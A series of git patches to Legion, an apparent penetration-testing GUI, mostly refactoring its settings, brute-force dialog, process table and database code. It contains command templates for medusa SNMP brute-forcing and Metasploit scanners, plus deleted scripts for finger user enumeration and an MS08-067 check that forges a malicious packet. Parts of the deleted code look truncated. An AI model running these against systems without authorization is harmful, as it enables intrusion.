self.actions.setValue("snmp-brute", ["Bruteforce community strings (medusa)", "bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\"", "snmp,snmptrap"]) self.actions.setValue("oracle-version", ["Get version", "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", "oracle-tns"]) self.actions.setValue("oracle-sid", ["Oracle SID enumeration", "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", "oracle-tns"]) - ### self.actions.endGroup() + self.actions.sync() + def createDefaultPortTerminalActions(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('PortTerminalActions') self.actions.setValue("netcat", ["Open with netcat", "nc -v [IP] [PORT]", ""]) self.actions.setValue("telnet", ["Open with telnet", "telnet [IP] [PORT]", ""]) @@ -155,7 +177,10 @@ def createDefaultSettings(self): self.actions.setValue("rsh", ["Open with rsh", "rsh -l root [IP]", "shell"]) self.actions.endGroup() + self.actions.sync() + def createDefaultSchedulerSettings(self): + self.actions = QtCore.QSettings('./legion.conf', QtCore.QSettings.NativeFormat) self.actions.beginGroup('SchedulerSettings') self.actions.setValue("whatweb", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) self.actions.setValue("nikto", ["http,https,ssl,soap,http-proxy,http-alt,https-alt","tcp"]) @@ -176,7 +201,6 @@ def createDefaultSettings(self): self.actions.setValue("oracle-default", ["oracle-tns","tcp"]) self.actions.endGroup() - self.actions.sync() # NOTE: the weird order of elements in the functions below is due to historical reasons. Change this some day. diff --git a/ui/dialogs.py b/ui/dialogs.py index 449ed1ed..7e1a6ede 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -208,11 +208,14 @@ def __init__(self, ip, port, service, settings, parent=None): self.port = port self.service = service -# self.hydraServices = hydraServices -# self.hydraNoUsernameServices = hydraNoUsernameServices -# self.hydraNoPasswordServices = hydraNoPasswordServices -# self.bruteSettings = bruteSettings -# self.generalSettings = generalSettings + ## + #self.hydraServices = hydraServices + #self.hydraNoUsernameServices = hydraNoUsernameServices + #self.hydraNoPasswordServices = hydraNoPasswordServices + #self.bruteSettings = bruteSettings + #self.generalSettings = generalSettings + ## + self.settings = settings self.pid = -1 # will store hydra's pid so we can kill it self.setupLayout() @@ -226,43 +229,33 @@ def __init__(self, ip, port, service, settings, parent=None): self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) def setupLayout(self): - + hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} # sometimes nmap service name is different from hydra service name if self.service is None: self.service = '' - elif self.service == "login": - self.service = "rlogin" - elif self.service == "ms-sql-s": - self.service = "mssql" - elif self.service == "ms-wbt-server": - self.service = "rdp" - elif self.service == "netbios-ssn" or self.service == "netbios-ns" or self.service == "microsoft-ds": - self.service = "smb" - elif self.service == "postgresql": - self.service = "postgres" - elif self.service == "vmware-auth": - self.service = "vmauthd" + elif str(self.service) in hydraServiceConversion: + self.service = hydraServiceConversion.get(str(self.service)) self.label1 = QtWidgets.QLabel() self.label1.setText('IP') - #self.label1.setFixedWidth(10) # experimental - #self.label1.setAlignment(Qt.AlignLeft) + self.label1.setFixedWidth(10) # experimental + self.label1.setAlignment(Qt.AlignLeft) self.ipTextinput = QtWidgets.QLineEdit() self.ipTextinput.setText(str(self.ip)) self.ipTextinput.setFixedWidth(125) self.label2 = QtWidgets.QLabel() self.label2.setText('Port') - #self.label2.setFixedWidth(10) # experimental - #self.label2.setAlignment(Qt.AlignLeft) + self.label2.setFixedWidth(10) # experimental + self.label2.setAlignment(Qt.AlignLeft) self.portTextinput = QtWidgets.QLineEdit() self.portTextinput.setText(str(self.port)) self.portTextinput.setFixedWidth(60) self.label3 = QtWidgets.QLabel() self.label3.setText('Service') - #self.label3.setFixedWidth(10) # experimental - #self.label3.setAlignment(Qt.AlignLeft) + self.label3.setFixedWidth(10) # experimental + self.label3.setAlignment(Qt.AlignLeft) self.serviceComboBox = QtWidgets.QComboBox() self.serviceComboBox.insertItems(0, self.settings.brute_services.split(",")) self.serviceComboBox.setStyleSheet("QComboBox { combobox-popup: 0; }"); diff --git a/ui/view.py b/ui/view.py index 945d8ff7..339ed503 100644 --- a/ui/view.py +++ b/ui/view.py @@ -216,7 +216,8 @@ def setMainWindowTitle(self, title): self.ui_mainwindow.setWindowTitle(str(title)) def yesNoDialog(self, message, title): - QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + dialog = QtWidgets.QMessageBox.question(self.ui.centralwidget, title, message, QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) + return dialog def setDirty(self, status=True): # this function is called for example when the user edits notes self.dirty = status From ece01096b24c974f5ffc4f9d6936fbfd742a38cb Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 05:34:27 -0500 Subject: [PATCH 031/450] Cleanup --- app/processmodels.py | 51 +++++++------------------------------------- 1 file changed, 8 insertions(+), 43 deletions(-) diff --git a/app/processmodels.py b/app/processmodels.py index 7d703a87..2a49b80e 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -52,56 +52,29 @@ def data(self, index, role): # this metho value = '' row = index.row() column = index.column() + processColumns = {1:'display', 2:'pid', 3:'name', 5:'hostip', 7:'protocol', 8:'command', 9:'starttime', 10:'endtime', 11:'outputfile', 12:'output', 13:'status', 14:'closed'} - if column == 1: - value = self.__processes[row]['display'] - elif column == 2: - value = self.__processes[row]['pid'] - elif column == 3: - value = self.__processes[row]['name'] - elif column == 4: + if column == 4: if not self.__processes[row]['tabtitle'] == '': value = self.__processes[row]['tabtitle'] else: value = self.__processes[row]['name'] - elif column == 5: - value = self.__processes[row]['hostip'] elif column == 6: if not self.__processes[row]['port'] == '' and not self.__processes[row]['protocol'] == '': value = self.__processes[row]['port'] + '/' + self.__processes[row]['protocol'] else: value = self.__processes[row]['port'] - elif column == 7: - value = self.__processes[row]['protocol'] - elif column == 8: - value = self.__processes[row]['command'] - elif column == 9: - value = self.__processes[row]['starttime'] - elif column == 10: - value = self.__processes[row]['endtime'] - elif column == 11: - value = self.__processes[row]['outputfile'] - elif column == 12: - value = self.__processes[row]['output'] - elif column == 13: - value = self.__processes[row]['status'] - elif column == 14: - value = self.__processes[row]['closed'] + else: + value = processColumns.get(int(column)) return value def sort(self, Ncol, order): self.layoutAboutToBeChanged.emit() array=[] - if Ncol == 3: - for i in range(len(self.__processes)): - array.append(self.__processes[i]['name']) - - elif Ncol == 4: - for i in range(len(self.__processes)): - array.append(self.__processes[i]['tabtitle']) - - elif Ncol == 5: + sortColumns = {3:'name', 4:'tabtitle', 9:'starttime', 10:'endtime'} + + if Ncol == 5: for i in range(len(self.__processes)): array.append(IP2Int(self.__processes[i]['hostip'])) @@ -111,16 +84,8 @@ def sort(self, Ncol, order): return else: array.append(int(self.__processes[i]['port'])) - - elif Ncol == 9: - for i in range(len(self.__processes)): - array.append(self.__processes[i]['starttime']) - - elif Ncol == 10: - for i in range(len(self.__processes)): - array.append(self.__processes[i]['endtime']) - else: + field = sortColumns.get(int(Ncol)) or 'status' for i in range(len(self.__processes)): array.append(self.__processes[i]['status']) From 69998d1b2d38e36a8e51f63fb4a9e612dba8f68a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 05:51:49 -0500 Subject: [PATCH 032/450] Cleanup --- ui/dialogs.py | 57 ++++++++++++++++++++++----------------------------- 1 file changed, 24 insertions(+), 33 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index 7e1a6ede..9700c553 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -181,27 +181,6 @@ def setupLayout(self): class BruteWidget(QtWidgets.QWidget): - def __initold__(self, ip, port, service, hydraServices, hydraNoUsernameServices, hydraNoPasswordServices, bruteSettings, generalSettings, parent=None): - QtWidgets.QWidget.__init__(self, parent) - self.ip = ip - self.port = port - self.service = service - self.hydraServices = hydraServices - self.hydraNoUsernameServices = hydraNoUsernameServices - self.hydraNoPasswordServices = hydraNoPasswordServices - self.bruteSettings = bruteSettings - self.generalSettings = generalSettings - self.pid = -1 # will store hydra's pid so we can kill it - self.setupLayout() - - self.browseUsersButton.clicked.connect(lambda: self.wordlistDialog()) - self.browsePasswordsButton.clicked.connect(lambda: self.wordlistDialog('Choose password list')) - self.usersTextinput.textEdited.connect(self.singleUserRadio.toggle) - self.passwordsTextinput.textEdited.connect(self.singlePassRadio.toggle) - self.userlistTextinput.textEdited.connect(self.userListRadio.toggle) - self.passlistTextinput.textEdited.connect(self.passListRadio.toggle) - self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) - def __init__(self, ip, port, service, settings, parent=None): QtWidgets.QWidget.__init__(self, parent) self.ip = ip @@ -228,7 +207,7 @@ def __init__(self, ip, port, service, settings, parent=None): self.passlistTextinput.textEdited.connect(self.passListRadio.toggle) self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) - def setupLayout(self): + def setupLayoutHlayout(self): hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} # sometimes nmap service name is different from hydra service name if self.service is None: @@ -294,6 +273,9 @@ def setupLayout(self): ### self.hlayout.addStretch() + return self.hlayout + + def setupLayoutHlayout2(self): self.singleUserRadio = QtWidgets.QRadioButton() self.label4 = QtWidgets.QLabel() self.label4.setText('Username') @@ -332,7 +314,10 @@ def setupLayout(self): self.hlayout2.addWidget(self.foundUsersRadio) self.hlayout2.addWidget(self.label9) self.hlayout2.addStretch() - + + return self.hlayout2 + + def setupLayoutHlayout3(self): #add usernames wordlist self.singlePassRadio = QtWidgets.QRadioButton() self.label6 = QtWidgets.QLabel() @@ -389,6 +374,9 @@ def setupLayout(self): self.hlayout3.addWidget(self.threadsComboBox) #self.hlayout3.addStretch() + return self.hlayout3 + + def setupLayoutHlayout4(self): #label6.setText('Try blank password') self.checkBlankPass = QtWidgets.QCheckBox() self.checkBlankPass.setText('Try blank password') @@ -415,12 +403,6 @@ def setupLayout(self): self.checkAddMoreOptions = QtWidgets.QCheckBox() self.checkAddMoreOptions.setText('Additional Options') - ### - self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force - self.labelPath.setFixedWidth(800) - self.labelPath.setText('/') - ### - self.hlayout4 = QtWidgets.QHBoxLayout() self.hlayout4.addWidget(self.checkBlankPass) self.hlayout4.addWidget(self.checkLoginAsPass) @@ -430,6 +412,15 @@ def setupLayout(self): self.hlayout4.addWidget(self.checkAddMoreOptions) self.hlayout4.addStretch() + return self.hlayout4 + + def setupLayout(self): + ### + self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath.setFixedWidth(800) + self.labelPath.setText('/') + ### + self.layoutAddOptions = QtWidgets.QHBoxLayout() self.layoutAddOptions.addWidget(self.labelPath) self.labelPath.hide() @@ -447,11 +438,11 @@ def setupLayout(self): self.display.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black self.vlayout = QtWidgets.QVBoxLayout() - self.vlayout.addLayout(self.hlayout) - self.vlayout.addLayout(self.hlayout4) + self.vlayout.addLayout(self.setupLayoutHlayout()) + self.vlayout.addLayout(self.setupLayoutHlayout4()) self.vlayout.addLayout(self.layoutAddOptions) - self.vlayout.addLayout(self.hlayout2) - self.vlayout.addLayout(self.hlayout3) + self.vlayout.addLayout(self.setupLayoutHlayout2()) + self.vlayout.addLayout(self.setupLayoutHlayout3()) self.vlayout.addWidget(self.display) self.setLayout(self.vlayout) From 16cfc13ddd22684310ecec9411ffdc1ad47f3a83 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 06:19:10 -0500 Subject: [PATCH 033/450] Cleanup --- app/logic.py | 2 +- db/database.py | 44 ++++++++++++++++++++++---------------------- ui/view.py | 18 +++++++----------- 3 files changed, 30 insertions(+), 34 deletions(-) diff --git a/app/logic.py b/app/logic.py index 176d894f..c4508f69 100644 --- a/app/logic.py +++ b/app/logic.py @@ -593,7 +593,7 @@ def run(self): # it is nece db_host = session.query(nmap_host).filter_by(ip=h.ip).first() if not db_host: # if host doesn't exist in DB, create it first - hid = nmap_host('', '', h.ip, h.ipv4, h.ipv6, h.macaddr, h.status, h.hostname, h.vendor, h.uptime, h.lastboot, h.distance, h.state, h.count) + hid = nmap_host(os_match='', os_accuracy='', ip=h.ip, ipv4=h.ipv4, ipv6=h.ipv6, macaddr=h.macaddr, status=h.status, hostname=h.hostname, vendor=h.vendor, uptime=h.uptime, lastboot=h.lastboot, distance=h.distance, state=h.state, count=h.count) log.info("Adding db_host") session.add(hid) t_note = note(h.ip, 'Added by nmap') diff --git a/db/database.py b/db/database.py index 6259ab71..8f9d3114 100644 --- a/db/database.py +++ b/db/database.py @@ -73,11 +73,11 @@ def __init__(self, filename, *args, **kwargs): self.filename=filename self.start_time=args[0] self.finish_time=args[1] - self.nmap_version=kwargs.get('nmap_version') - self.scan_args=kwargs.get('scan_args') - self.total_hosts=kwargs.get('total_host') - self.up_hosts=kwargs.get('up_hosts') - self.down_hosts=kwargs.get('down_hosts') + self.nmap_version=kwargs.get('nmap_version') or 'unknown' + self.scan_args=kwargs.get('scan_args') or '' + self.total_hosts=kwargs.get('total_host') or '0' + self.up_hosts=kwargs.get('up_hosts') or '0' + self.down_hosts=kwargs.get('down_hosts') or '0' class nmap_os(Base): @@ -173,23 +173,23 @@ class nmap_host(Base): os=relationship(nmap_os) ports=relationship(nmap_port) - def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): - self.checked='False' - self.os_match=os_match - self.os_accuracy=os_accuracy - self.ip=ip - self.ipv4=ipv4 - self.ipv6=ipv6 - self.macaddr=macaddr - self.status=status - self.hostname=hostname - self.host_id=hostname - self.vendor=vendor - self.uptime=uptime - self.lastboot=lastboot - self.distance=distance - self.state=state - self.count=count + def __init__(self, **kwargs): + self.checked=kwargs.get('checked') or 'False' + self.os_match=kwargs.get('os_match') or 'unknown' + self.os_accuracy=kwargs.get('os_accuracy') or 'NaN' + self.ip=kwargs.get('ip') or 'unknown' + self.ipv4=kwargs.get('ipv4') or 'unknown' + self.ipv6=kwargs.get('ipv6') or 'unknown' + self.macaddr=kwargs.get('macaddr') or 'unknown' + self.status=kwargs.get('status') or 'unknown' + self.hostname=kwargs.get('hostname') or 'unknown' + self.host_id=kwargs.get('hostname') or 'unknown' + self.vendor=kwargs.get('vendor') or 'unknown' + self.uptime=kwargs.get('uptime') or 'unknown' + self.lastboot=kwargs.get('lastboot') or 'unknown' + self.distance=kwargs.get('distance') or 'unknown' + self.state=kwargs.get('state') or 'unknown' + self.count=kwargs.get('count') or 'unknown' class note(Base): diff --git a/ui/view.py b/ui/view.py index 339ed503..01d1f805 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1129,17 +1129,13 @@ def updateProcessesIcon(self): for row in range(len(self.ProcessesTableModel.getProcesses())): status = self.ProcessesTableModel.getProcesses()[row].status - if status == 'Waiting': - self.runningWidget = ImagePlayer("./images/waiting.gif") - elif status == 'Running': - self.runningWidget = ImagePlayer("./images/running.gif") - elif status == 'Finished': - self.runningWidget = ImagePlayer("./images/finished.gif") - elif status == 'Crashed': # TODO: replace gif? - self.runningWidget = ImagePlayer("./images/killed.gif") - else: - self.runningWidget = ImagePlayer("./images/killed.gif") - + directStatus = {'Waiting':'waiting', 'Running':'running', 'Finished':'finished', 'Crashed':'killed'} + defaultStatus = 'killed' + + processIconName = directStatus.get(status) or defaultStatus + processIcon = './images/{processIconName}.gif'.format(processIconName=processIconName) + + self.runningWidget = ImagePlayer(processIcon) self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), self.runningWidget) #################### GLOBAL INTERFACE UPDATE FUNCTION #################### From f62686b7f1324b2d13868b37fa5c021b8cf56dee Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Sun, 14 Oct 2018 06:23:13 -0500 Subject: [PATCH 034/450] Cleanup --- scripts/fingertool.sh | 30 - scripts/ms08-067_check.py | 281 -------- scripts/ndr.py | 1287 ------------------------------------- scripts/rdp-sec-check.pl | 653 ------------------- scripts/snmpbrute.py | 789 ----------------------- 5 files changed, 3040 deletions(-) delete mode 100644 scripts/fingertool.sh delete mode 100644 scripts/ms08-067_check.py delete mode 100644 scripts/ndr.py delete mode 100644 scripts/rdp-sec-check.pl delete mode 100644 scripts/snmpbrute.py diff --git a/scripts/fingertool.sh b/scripts/fingertool.sh deleted file mode 100644 index cd51da9c..00000000 --- a/scripts/fingertool.sh +++ /dev/null @@ -1,30 +0,0 @@ -#!/bin/bash -# fingertool - This script will enumerate users using finger -# SECFORCE - Antonio Quina - -if [ $# -eq 0 ] - then - echo "Usage: $0 []" - echo "eg: $0 10.10.10.10 users.txt" - exit - else - IP="$1" -fi - -if [ "$2" == "" ] - then - WORDLIST="/usr/share/metasploit-framework/data/wordlists/unix_users.txt" - else - WORDLIST="$2" -fi - - -for username in $(cat $WORDLIST | sort -u| uniq) - do output=$(finger -l $username@$IP) - if [[ $output == *"Directory"* ]] - then - echo "Found user: $username" - fi - done - -echo "Finished!" diff --git a/scripts/ms08-067_check.py b/scripts/ms08-067_check.py deleted file mode 100644 index f2b02813..00000000 --- a/scripts/ms08-067_check.py +++ /dev/null @@ -1,281 +0,0 @@ -#!/usr/bin/env python - -''' -Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability - -Description: -Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution) - -Author: Bernardo Damele A. G. - -License: Modified Apache 1.1 - -Version: 0.6 - -References: -* BID: 31874 -* CVE: 2008-4250 -* MSB: MS08-067 -* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx -* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx -* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/ -* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb -* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html -* MISC: http://blogs.securiteam.com/index.php/archives/1150 - -Tested: -* Windows 2000 Server Service Pack 0 -* Windows 2000 Server Service Pack 4 with Update Rollup 1 -* Microsoft 2003 Standard Service Pack 1 -* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released - -Notes: -* On Windows XP SP2 and SP3 this check might lead to a race condition and - heap corruption in the svchost.exe process, but it may not crash the - service immediately: it can trigger later on inside any of the shared - services in the process. -''' - - -import socket -import sys - -from optparse import OptionError -from optparse import OptionParser -from random import choice -from string import letters -from struct import pack -from threading import Thread -from traceback import format_exc - -try: - from impacket import smb - from impacket import uuid - from impacket.dcerpc.v5 import dcerpc - from impacket.dcerpc.v5 import transport -except ImportError, _: - print 'ERROR: this tool requires python-impacket library to be installed, get it ' - print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket' - sys.exit(1) - -try: - from ndr import * -except ImportError, _: - print 'ERROR: this tool requires python-pymsrpc library to be installed, get it ' - print 'from http://code.google.com/p/pymsrpc/' - sys.exit(1) - - -CMDLINE = False -SILENT = False - - -class connectionException(Exception): - pass - - -class MS08_067(Thread): - def __init__(self, target, port=445): - super(MS08_067, self).__init__() - - self.__port = port - self.target = target - self.status = 'unknown' - - - def __checkPort(self): - ''' - Open connection to TCP port to check if it is open - ''' - - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(1) - s.connect((self.target, self.__port)) - s.close() - - except socket.timeout, _: - raise connectionException, 'connection timeout' - - except socket.error, _: - raise connectionException, 'connection refused' - - - def __connect(self): - ''' - SMB connect to the Computer Browser service named pipe - Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html - ''' - - try: - self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) - self.__trans.connect() - - except smb.SessionError, _: - raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)' - - except: - #raise Exception, 'unhandled exception (%s)' % format_exc() - raise connectionException, 'unexpected exception' - - - def __bind(self): - ''' - DCERPC bind to SRVSVC (Server Service) endpoint - Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html - ''' - - try: - self.__dce = self.__trans.DCERPC_class(self.__trans) - - self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) - - except socket.error, _: - raise connectionException, 'unable to bind to SRVSVC endpoint' - - except: - #raise Exception, 'unhandled exception (%s)' % format_exc() - raise connectionException, 'unexpected exception' - - - def __forgePacket(self): - ''' - Forge the malicious NetprPathCompare packet - - Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx - - long NetprPathCompare( - [in, string, unique] SRVSVC_HANDLE ServerName, - [in, string] WCHAR* PathName1, - [in, string] WCHAR* PathName2, - [in] DWORD PathType, - [in] DWORD Flags - ); - ''' - - self.__path = ''.join([choice(letters) for _ in xrange(0, 3)]) - - self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize() - self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize() - self.__request += ndr_wstring(data='\\%s' % self.__path).serialize() - self.__request += ndr_long(data=1).serialize() - self.__request += ndr_long(data=0).serialize() - - - def __compare(self): - ''' - Compare NetprPathCompare response field 'Windows Error' with the - expected value (WERR_OK) to confirm the target is vulnerable - ''' - - self.__vulnerable = pack(' self.high: - self.data.data = self.high - elif self.data.get_data() < self.low: - self.data.data = self.low - - return self.data.serialize() - -class ndr_enum16(ndr_primitive): - ''' - encode: /* enum16 */ short element_1; - ''' - def __init__(self, **kwargs): - self.data = kwargs.get('data', 0x0004) - self.signed = kwargs.get('signed', True) - self.name = kwargs.get('name', "") - self.size = 2 - - def get_data(self): - return self.data - - def set_data(self, new_data): - self.data = new_data - - def get_name(self): - return self.name - - def get_size(self): - return self.size - - def serialize(self): - if self.signed: - return struct.pack(" install Encoding::BER -# -# References: -# -# [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification -# http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx -# -use strict; -use warnings; -use IO::Socket::INET; -use Getopt::Long; -use Encoding::BER; - -my %rdp_neg_type; -$rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ"; -$rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP"; -$rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE"; - -my %rdp_neg_rsp_flags; -$rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET"; -$rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED"; -$rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED"; - -my %rdp_neg_protocol; -$rdp_neg_protocol{"00"} = "PROTOCOL_RDP"; -$rdp_neg_protocol{"01"} = "PROTOCOL_SSL"; -$rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID"; - -my %rdp_neg_failure_code; -$rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER"; -$rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER"; -$rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER"; -$rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS"; -$rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER"; -$rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"; - -my %encryption_level; -$encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE"; -$encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW"; -$encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE"; -$encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH"; -$encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS"; - -my %encryption_method; -$encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE"; -$encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT"; -$encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT"; -$encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT"; -$encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS"; - -my %version_meaning; -$version_meaning{"00080001"} = "RDP 4.0 servers"; -$version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers"; - -my $enc = Encoding::BER->new(warn => sub{}); -my %config; - -my $VERSION = "0.9-beta"; -my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) -Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com) - -$0 [ options ] ( --file hosts.txt | host | host:port ) - -options are: - - --file hosts.txt targets, one ip:port per line - --outfile out.log output logfile - --timeout sec receive timeout (default 10s) - --retries times number of retries after timeout - --verbose - --debug - --help - -Example: - $0 192.168.1.1 - $0 --file hosts.txt --timeout 15 --retries 3 - $0 --outfile rdp.log 192.168.69.69:3389 - $0 --file hosts.txt --outfile rdp.log --verbose - -"; - -my $debug = 0; -my $verbose = 0; -my $help = 0; -my $hostfile = undef; -my $outfile = undef; -my @targets = (); - -my $global_recv_timeout = 10; -my $global_connect_fail_count = 5; -my $global_connection_count = 0; - -my $result = GetOptions ( - "verbose" => \$verbose, - "debug" => \$debug, - "help" => \$help, - "file=s" => \$hostfile, - "outfile=s" => \$outfile, - "timeout=i" => \$global_recv_timeout, - "retries=i" => \$global_connection_count, -); - -if ($help) { - print $usage; - exit 0; -} - -if ($debug) { - use Data::Dumper; - use warnings FATAL => 'all'; - use Carp qw(confess); - $SIG{ __DIE__ } = sub { confess( @_ ) }; -} - -if (defined($outfile)){ - # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file - use Symbol; - my @handles = (*STDOUT); - my $handle = gensym( ); - push(@handles, $handle); - open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite; - tie *TEE, "Tie::Tee", @handles; - select(TEE); - *STDERR = *TEE; -} - -if (defined($hostfile)) { - open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n"; - while () { - chomp; chomp; - my $line = $_; - my $port = 3389; - my $host = $line; - if ($line =~ /\s*(\S+):(\d+)\s*/) { - $host = $1; - $port = $2; - } - my $ip = resolve($host); - if (defined($ip)) { - push @targets, { ip => $ip, hostname => $host, port => $port }; - } else { - print "[W] Unable to resolve host $host. Ignoring line: $line\n"; - } - } - close(HOSTS); - -} else { - my $host = shift or die $usage; - my $port = 3389; - if ($host =~ /\s*(\S+):(\d+)\s*/) { - $host = $1; - $port = $2; - } - my $ip = resolve($host); - unless (defined($ip)) { - die "[E] Can't resolve hostname $host\n"; - } - push @targets, { ip => $ip, hostname => $host, port => $port }; -} - -# flush after every write -$| = 1; - -my $global_starttime = time; -printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); -printf "\n[+] Scanning %s hosts\n", scalar @targets; -print Dumper \@targets if $debug > 0; - -foreach my $target_addr (@targets) { - scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port}); -} - -print "\n"; -printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime); -print "\n"; - -sub scan_host { - my ($host, $ip, $port) = @_; - print "\n"; - print "Target: $host\n"; - print "IP: $ip\n"; - print "Port: $port\n"; - print "\n"; - print "[+] Connecting to $ip:$port\n" if $debug > 1; - my $socket; - my @response; - - print "[+] Checking supported protocols\n\n"; - print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported..."; - $socket = get_socket($ip, $port); - @response = test_std_rdp_security($socket); - if (scalar @response == 19) { - my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; - if ($type eq "TYPE_RDP_NEG_FAILURE") { - printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; - $config{"protocols"}{"PROTOCOL_RDP"} = 0; - } else { - if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") { - print "Supported\n"; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; - } else { - printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; - } - } - } elsif (scalar @response == 11) { - printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; - } else { - print "Not supported - unexpected response\n"; - $config{"protocols"}{"PROTOCOL_RDP"} = 1; - } - - print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported..."; - $socket = get_socket($ip, $port); - @response = test_tls_security($socket); - if (scalar @response == 19) { - my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; - if ($type eq "TYPE_RDP_NEG_FAILURE") { - printf "Not supported - %s\n", 